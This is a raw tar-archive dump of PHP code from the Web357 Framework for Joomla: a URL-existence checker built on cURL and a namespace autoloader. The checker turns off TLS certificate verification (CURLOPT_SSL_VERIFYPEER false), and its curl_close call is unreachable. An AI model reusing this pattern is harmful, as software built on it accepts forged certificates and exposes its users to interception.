= 'j25x'; else: // j $js_jversion = 'jx'; endif; // get base url (for jquery) $base_url = str_replace('/administrator', '', Uri::base()); $html .= '<div id="baseurl" data-baseurl="'.$base_url.'"></div>'; $html .= '<div id="jversion" data-jversion="'.$js_jversion.'"></div>'; return $html; } // check if url exists protected static function url_exists($url) { if (self::_isCurl()) { // cUrl method $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_HEADER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_ENCODING => "", CURLOPT_SSL_VERIFYPEER => false, CURLOPT_AUTOREFERER => true, CURLOPT_CONNECTTIMEOUT => 120, CURLOPT_TIMEOUT => 120, CURLOPT_MAXREDIRS => 10, ); curl_setopt_array( $ch, $options ); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); // $retcode >= 400 -> not found, $retcode = 200, found. if ($httpCode != 200) { // The URL does not exist return false; } else { return true; } curl_close($ch); } else { // default method $file_headers = @get_headers($url); if($file_headers[0] == 'HTTP/1.1 404 Not Found') { return false; } else { return true; } } } /** * Check if the PHP function curl is enabled */ protected static function _isCurl() { return function_exists('curl_version'); } /** * Check if the PHP function allow_url_fopen is enabled */ protected static function _allowUrlFopen() { return ini_get('allow_url_fopen'); } }autoload.php000060400000002706151721520520007066 0ustar00<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ defined('_JEXEC') or die; // Registers Web357 framework's namespace JLoader::registerNamespace('Web357Framework', __DIR__ . '/Web357Framework/', false, false, 'psr4'); JLoader::registerAlias('Functions', '\\Web357Framework\\Functions'); JLoader::registerAlias('VersionChecker', '\\Web357Framework\\VersionChecker'); /* Create aliases for Fields eg \Web357Framework\Asset\Select2Asset to JFormFieldweb357_registerasset */ //$files = scandir(__DIR__ . '/Web357Framework/Field'); //foreach ($files as $file) { // if (pathinfo($file, PATHINFO_EXTENSION) !== 'php') { // continue; // } // // $className = 'Web357Framework\\Field\\' . basename($file, '.php'); // // /* Remove "Field" suffix and convert to lowercase */ // $legacyClassName = 'JFormField' . strtolower(substr(basename($file, '.php'), 0, -5)); // JLoader::registerAlias($legacyClassName, $className); //}
/home/opticamezl/www/newok/tmp/../cache/../plugins/../api/../modules/../web357framework.tar